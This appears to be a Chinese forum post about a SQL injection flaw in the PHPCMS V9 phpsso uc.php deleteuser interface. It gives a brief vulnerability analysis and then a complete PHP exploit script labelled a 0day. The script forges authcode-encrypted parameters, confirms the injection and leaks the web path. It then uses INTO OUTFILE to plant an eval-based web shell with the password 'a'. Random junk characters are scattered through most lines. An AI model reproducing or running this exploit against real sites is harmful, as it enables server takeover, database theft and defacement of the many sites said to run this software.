PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。4 Y" O) i4 f& @# k0 O
. c) _4 M/ ?7 r- ~
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
( \2 Q8 g- P. K! A/ O8 Y5 U- u @0 F* i* d
漏洞分析:' e$ B6 J" }" |# I: [- {+ S
1.未启用ucenter服务的情况下uc_key为空( }! x: ]7 `2 m+ F
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
' S, G, `* c9 _* m( n( U2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 ]4 P! ~8 t1 k8 ?# r public function deleteuser($get,$post) {
, e; z- t) B& A pc_base::load_app_func('global', 'admin');) D" q6 ]2 o( I" }
pc_base::load_app_class('messagequeue', 'admin' , 0);, r8 N2 j. u& B2 j/ t: j) Q# c
$ids = new_stripslashes($get['ids']);0 g" ]' d, v) L$ E5 j4 C
$s = $this->member_db->select("ucuserid in ($ids)", "uid");3 l( s2 W0 J/ d
SQL语句为: ^( L2 H2 ^ n
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; S l- C7 |0 L' j% `4 W
! |7 H0 r. z( k m8 J+ x8 W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 t: V( Y: z7 A; J2 o<?php4 D0 p4 a; O* o* }" h, I/ j# ^
print_r('
) h* P' |7 L0 k; B3 C* s---------------------------------------------------------------------------4 I4 x& l, l- ]3 m+ s
PHPcms (v9 or Old Version) uc api sql injection 0day
4 }- x$ ]9 j+ p& V; j1 i8 A) V+ Rby rayh4c#80sec.com6 l# c, U6 K2 z/ g+ `, i) F0 Q
---------------------------------------------------------------------------
4 R! n2 I& ~) v$ S: y+ V');
5 Z& e7 D- F" v8 K6 u9 S' Z3 O9 ^" g2 u. `. ]
if ($argc<3) {$ X. |0 u$ n. n' T
print_r('6 Z* [; v1 D# T. d" o3 _2 k3 t
---------------------------------------------------------------------------' h, G& S2 P- Q. T2 H' r, K3 |+ W @
Usage: php '.$argv[0].' host path OPTIONS
) r3 ~& ^! h$ A# e `, ihost: target server (ip/hostname)
) E, G$ H, R' Npath: path to phpcms* U, d9 W% O, g9 x+ \
Options:
9 y1 U- I; U7 m$ T5 i/ C+ V -p[port]: specify a port other than 80
- D% N6 s( o* c, _( A; X2 k. |8 \% A -P[ip:port]: specify a proxy, F( O5 u. o4 f" n
Example:
5 D U0 R1 T9 n9 w( u1 \php '.$argv[0].' localhost /! W ?7 ^( h& ~, H
php '.$argv[0].' localhost /phpcms/ -p81
) }- p2 f$ t+ B9 |php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:804 w- o% d* m4 Z$ l
---------------------------------------------------------------------------' w! W# U- X0 D V/ H
');7 N) T7 @3 |2 T$ w. [
die;
1 q! R g) Z$ h' `* n) n}
% P5 K& T+ A' T, f1 v+ s
6 \6 q# z5 \. p2 D2 w, ^error_reporting(7);
; i% x$ J' l. g4 `6 i+ Nini_set("max_execution_time",0);2 l; k& G0 Z, m: L
ini_set("default_socket_timeout",5);: u( j- K+ W, c$ ?
1 c0 S' u) r0 M% \/ [; P
function quick_dump($string)8 _& |+ H# J" M5 e2 A
{
* U. I/ Q2 Y2 f r $result='';$exa='';$cont=0;# T. _4 T: o' n9 q5 @
for ($i=0; $i<=strlen($string)-1; $i++)
1 m. o- b3 B c- ]. y! q {7 F2 e" y ?% E6 j9 y5 r1 F0 U6 i
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))( v4 Y5 t* Y' i# ]
{$result.=" .";}
. c" O! s, L j. x) f. O) k else
) e% a, V2 b: g9 {; v, S& Y! S( `" n {$result.=" ".$string[$i];}
' G7 ?( M0 L, c* O a if (strlen(dechex(ord($string[$i])))==2)
) e0 @$ G& @- t; u- ` {$exa.=" ".dechex(ord($string[$i]));}
6 j. p4 [0 \( K t$ y% j% G else
0 J/ e9 h% _. B0 b7 Q6 Z {$exa.=" 0".dechex(ord($string[$i]));} d1 m; w% Z; ^6 x
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
e7 X C7 E0 W9 @& f }; R3 \' [+ Z+ \" X- S$ ?9 m
return $exa."\r\n".$result;
6 N; S6 x0 R, ]5 T/ l}
) t( U/ F( V0 g$ m2 \$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
( A7 L- H, ?/ \
7 x+ p( j+ M5 S2 o/ `7 Bfunction send($packet)
/ h( j* L" S& H' m5 Z{
6 M8 }7 O' }# L# S global $proxy, $host, $port, $html, $proxy_regex;: T+ N6 M. A$ J' Y+ g1 o( v& \' T
if ($proxy=='') {
7 z" V3 H, _/ H0 i4 L- x! G) Z $ock=fsockopen(gethostbyname($host),$port);5 x$ `( P( p5 K8 M# w
if (!$ock) {# }: M; ^+ C# ~$ ^2 Q% f2 W, o
echo 'No response from '.$host.':'.$port; die;
" \0 p% w" `+ A }
2 E# f& i/ T" z; Y }( v5 ?1 p, @% Q% y" J* f
else {
. G5 m8 v& }4 z; r' T5 R8 |2 G $c = preg_match($proxy_regex,$proxy);1 A) M* t4 z3 i; v: t+ Q! y; U7 l
if (!$c) {
$ _+ Q! w2 {; G echo 'Not a valid proxy...';die;
% |6 e* ^- s! K( q. h }( U: g Z; v) j' ] I" Y9 m
$parts=explode(':',$proxy);9 s X& _. j! V9 r, Z
$parts[1]=(int)$parts[1];
7 e2 _; }- E( }9 C. b4 ^! N echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
5 f/ O# n: ~/ ^2 B $ock=fsockopen($parts[0],$parts[1]);9 ~$ _, ~" ^2 j j8 h% z/ y6 U$ u/ z
if (!$ock) {5 C! H$ y7 t& u
echo 'No response from proxy...';die;
3 Z A' }# c$ F! R1 ^ }. W/ z1 Z. _: J- r' D
}
( B+ C& K! }+ c* T |# J6 |% b* A fputs($ock,$packet);3 R$ A; f- a) c8 C+ ?. [7 B
if ($proxy=='') {4 G& w+ [- R0 B- y! r
$html='';4 n5 S& E# \- h% B1 `# v" c3 Z/ G
while (!feof($ock)) {
6 g2 I, k4 Y- b $html.=fgets($ock);
( k9 R- i9 l/ G- ?2 e6 W9 f }' j0 i) ?. a. V8 D
}
' M0 O* I0 N& K$ J0 Z0 B else {0 S: s' k" q7 E- C0 I- R
$html='';# L& C! x) [- Q: ~ u& y5 Z
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% k- a J" X- Z' A. O0 [
$html.=fread($ock,1);9 Z3 U: H) H: [" x) u; r `( |2 w/ f
}
|- J1 M( M! a% B0 w/ J9 V }
# {6 q8 T) P' ?/ n/ ^ fclose($ock);1 O [: O. k3 I+ o1 ~
}
2 ^) ?6 r M% i) b2 Q% l& a1 P8 s" l1 q; b
$host=$argv[1];$ |: J9 h: M+ b* @8 b5 `* f$ s I: L
$path=$argv[2];
2 M0 w8 P% t. j+ B1 U, l$port=80;
% E7 W1 ~* u8 ]; }0 v) F8 z$proxy="";2 C! S: W/ W' x3 `& j: A4 @- }
for ($i=3; $i<$argc; $i++){
6 q9 |5 Z, d2 v8 }4 C: L$temp=$argv[$i][0].$argv[$i][1];
3 K4 }, J& R# C7 B& ^if ($temp=="-p")6 P5 ?4 \6 X* s% k- Q6 N3 ^2 P% Y
{
2 \& h* Y/ D% j. p7 r- a $port=(int)str_replace("-p","",$argv[$i]);3 v+ j/ w! t* D. J$ c3 N
}
# X1 L& S; X% C/ i7 {7 l. B) Xif ($temp=="-P")
( p C" d+ x& p% @; M{3 u2 c& t, Z5 ] J. g
$proxy=str_replace("-P","",$argv[$i]);
+ g# o Y' X0 y0 }4 ]* v0 T4 R) q1 h; W+ M}
- A; s. k9 z+ k3 ]$ R. s}) z: ^ A: F( a# Q2 g7 R- e
5 v z/ J$ R' B
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 n \% j5 E% x8 y6 |) l' c
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
" g9 {" E" ~3 G8 P1 w% \2 r5 M, q; F5 {6 P4 j
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 q8 ? K* ~: i( Z% I- X
+ B D# O1 q7 d: i: a5 W' K
$ckey_length = 4;& F6 S/ r& e5 I/ q0 i- s% J( ?
% m8 V1 ]: I1 D" g4 `& ]3 e
$key = md5($key ? $key : '');8 w" S% t' H, S$ z
$keya = md5(substr($key, 0, 16));
2 x. _6 o P# J; r* c# u6 A $keyb = md5(substr($key, 16, 16));
. ]9 D U8 _. d+ W $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
& y+ C& _+ D! A% O# |
. B) U) {1 x1 z' q4 I $cryptkey = $keya.md5($keya.$keyc);$ T2 E1 F% q: s1 N, Y( d
$key_length = strlen($cryptkey);9 F6 d8 h, C2 @2 H9 h7 Y
: I/ b& z$ M0 h8 Q1 h
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;& ]( b* s- @/ F1 _& x% k) f3 f
$string_length = strlen($string);
2 v2 B1 m# L/ x% c; L! o' M( V* x& h }# j4 U" o
$result = '';
: [# O+ w) L- l4 j6 o6 V3 y8 m: w $box = range(0, 255);$ |0 K% b1 W5 W* l
# b1 [4 s# ^1 S& P $rndkey = array();5 f; j! t* [1 J8 _. z# O
for($i = 0; $i <= 255; $i++) {
* U3 F4 A H7 P8 i7 _! @ $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 {& g0 C8 X1 ]# k$ d. |% G }2 ]; ^8 W, S" y+ S$ Y. U
/ @; y" u$ t% m. r2 D for($j = $i = 0; $i < 256; $i++) {% w# x. A% y8 |( k6 c j" m
$j = ($j + $box[$i] + $rndkey[$i]) % 256;; N* l: a+ V$ h% k+ l
$tmp = $box[$i];' P6 ?* ~9 t) i4 N: t, s
$box[$i] = $box[$j];
7 {1 x+ Q+ |, k9 I: V+ z9 L! e $box[$j] = $tmp;+ y& w. E* |( W: d) M" e
}1 Y; u( c. J8 B
/ j% L2 B+ K2 y3 p) h G$ \ for($a = $j = $i = 0; $i < $string_length; $i++) {" h* J) Y5 ^) o( v4 |4 ?
$a = ($a + 1) % 256;
5 _5 @1 y5 K- L5 { S" m $j = ($j + $box[$a]) % 256;! g4 b, Z8 g; k* D
$tmp = $box[$a];
% o7 n* g+ L' W. z4 k S% S! ] $box[$a] = $box[$j];
9 q* ? G ^; [7 w3 k. l5 _# y, a $box[$j] = $tmp;
3 u, p8 i) r2 I $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
& @8 B3 Z/ D: x+ F7 Q }
) y) t9 _; V0 e9 x, V* J% P& O. `% F% f: _" q! }4 [
if($operation == 'DECODE') {
5 c0 I0 j" j! b% M9 @ if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
& ~& h8 |; H2 ?4 X0 g return substr($result, 26);
6 k5 J4 [9 p+ J- q( m } else {* Z+ a" [5 R% o; T, E7 h n+ o- G% p
return '';
- S3 b+ q1 M- Q! ?! E D' j }
1 G- ^$ J& c5 v1 X) ~ } else {
3 t( W& w8 q A& K9 I return $keyc.str_replace('=', '', base64_encode($result));
" j' {' G3 j) o* X5 m0 V- ~ }
9 w& L! N0 X2 \+ F, n9 U7 H x1 c" W* [6 n6 ?; [
}' L* A; Z( \! _$ ~7 ^ V
. G6 t1 W7 }8 C$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
1 I5 A" y A7 p3 f$SQL = urlencode(authcode($SQL, "ENCODE", ""));: T. ]. D) b$ ?
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 \: N) {" R, u; S
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
5 i7 z4 |- Y9 L" l9 K5 D$packet.="User-Agent: Mozilla/5.0\r\n";
# h& \9 }" e) H7 k; r! t# ]4 b: C8 w$packet.="Host: ".$host."\r\n";
3 L1 m1 u8 h) h5 C5 j$ b2 s. G$packet.="Connection: Close\r\n\r\n";$ K, G5 U# ~6 f+ `) n
send($packet);
: V8 ]2 z6 _ m# ?2 h6 tif(strpos($html,"MySQL Errno") > 0){
8 F4 i/ V) ]3 \' A3 Y2 s* G1 Wecho "[2] 发现存在SQL注入漏洞"."\n";2 w2 x7 _+ _3 w
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";( r' q( a3 ]! `# l- g. e) B2 Y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
9 C3 b. u+ j5 X& w( R3 _' {+ N$packet.="User-Agent: Mozilla/5.0\r\n";/ {: s0 J2 @- f( D$ @( B" Z" y H! A
$packet.="Host: ".$host."\r\n";0 S& ~" Z7 W6 K2 E& @2 X9 g7 k
$packet.="Connection: Close\r\n\r\n";- D9 q; B4 ~3 ^; z8 R/ A- N$ L
send($packet);
* U8 T, |0 m# C2 p/ upreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
/ ?% K! _; ^2 r* R2 v//print_r($matches);
/ [+ M% A/ v% a: qif(!empty($matches)){5 D# e9 ^/ B7 W, ?4 c2 M
echo "[4] 得到web路径 " . $matches[0]."\n";6 ~/ k( u# i" _ R. ]
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
+ T: `! f& B z3 f$SQL = "time=999999999999999999999999&ids=1)";+ ^7 ~! _% C+ ^6 t* z7 O
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# ~7 Y+ P7 b) A/ o2 v, T) A5 J) J$SQL.="&action=deleteuser";
. @$ t1 j/ V# X$SQL = urlencode(authcode($SQL, "ENCODE", ""));
. Z' F8 Y9 z( y Q# i Hecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" @6 W2 C2 j- l! L. w$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";- e0 b& }; [) C. V' B' P
$packet.="User-Agent: Mozilla/5.0\r\n";; E2 b! _. V p( J
$packet.="Host: ".$host."\r\n";
" o: m0 H: Q+ M$packet.="Connection: Close\r\n\r\n";
" J8 p/ k0 s* }* y& {& Asend($packet);5 k( r* X) e! x: F) \/ z% n
if(strpos($html,"Access denied") > 0){: T: Y. \* u: E) J, d6 S) `
echo "[-] MYSQL权限过低 禁止写入文件 ";
& ]+ V2 H# P" Jdie;
# N+ D" M! M7 s) b( }0 q% y}
* [ d q& I, ~! E% \+ [3 W% jecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
6 c% {# O" \3 l$ u* |* {: G$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";& k* `- B8 h) L; L+ }
$packet.="User-Agent: Mozilla/5.0\r\n";3 S y' g) b, V% f
$packet.="Host: ".$host."\r\n";
# x6 C0 M$ v: y) }9 C9 U$packet.="Connection: Close\r\n\r\n";
0 c; r6 [/ |- K9 ]send($packet);8 X/ w+ ^5 l) M
if(strpos($html,"<title>phpinfo()</title>") > 0){1 H. Z$ T. V+ Z6 i* l
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";4 |( ]# `8 t8 S0 s
}
6 I+ h7 j' l2 l) }}else{$ U- ~; ^3 N7 a8 M) v
echo "[-]未取到web路径 ";
2 O( ?7 i. U; W+ O' B( r}
. B, A. j1 b6 v# K. H}else{; e0 Q, \; d* f3 j
echo "[*]不存在SQL注入漏洞"."\n";
3 n$ q# R' _ g2 s0 e; ~}$ E. [' z z, K# h) k
0 G7 H+ m* Z- `?>
$ X( ?2 K- J: p4 m% F+ E1 U v4 X |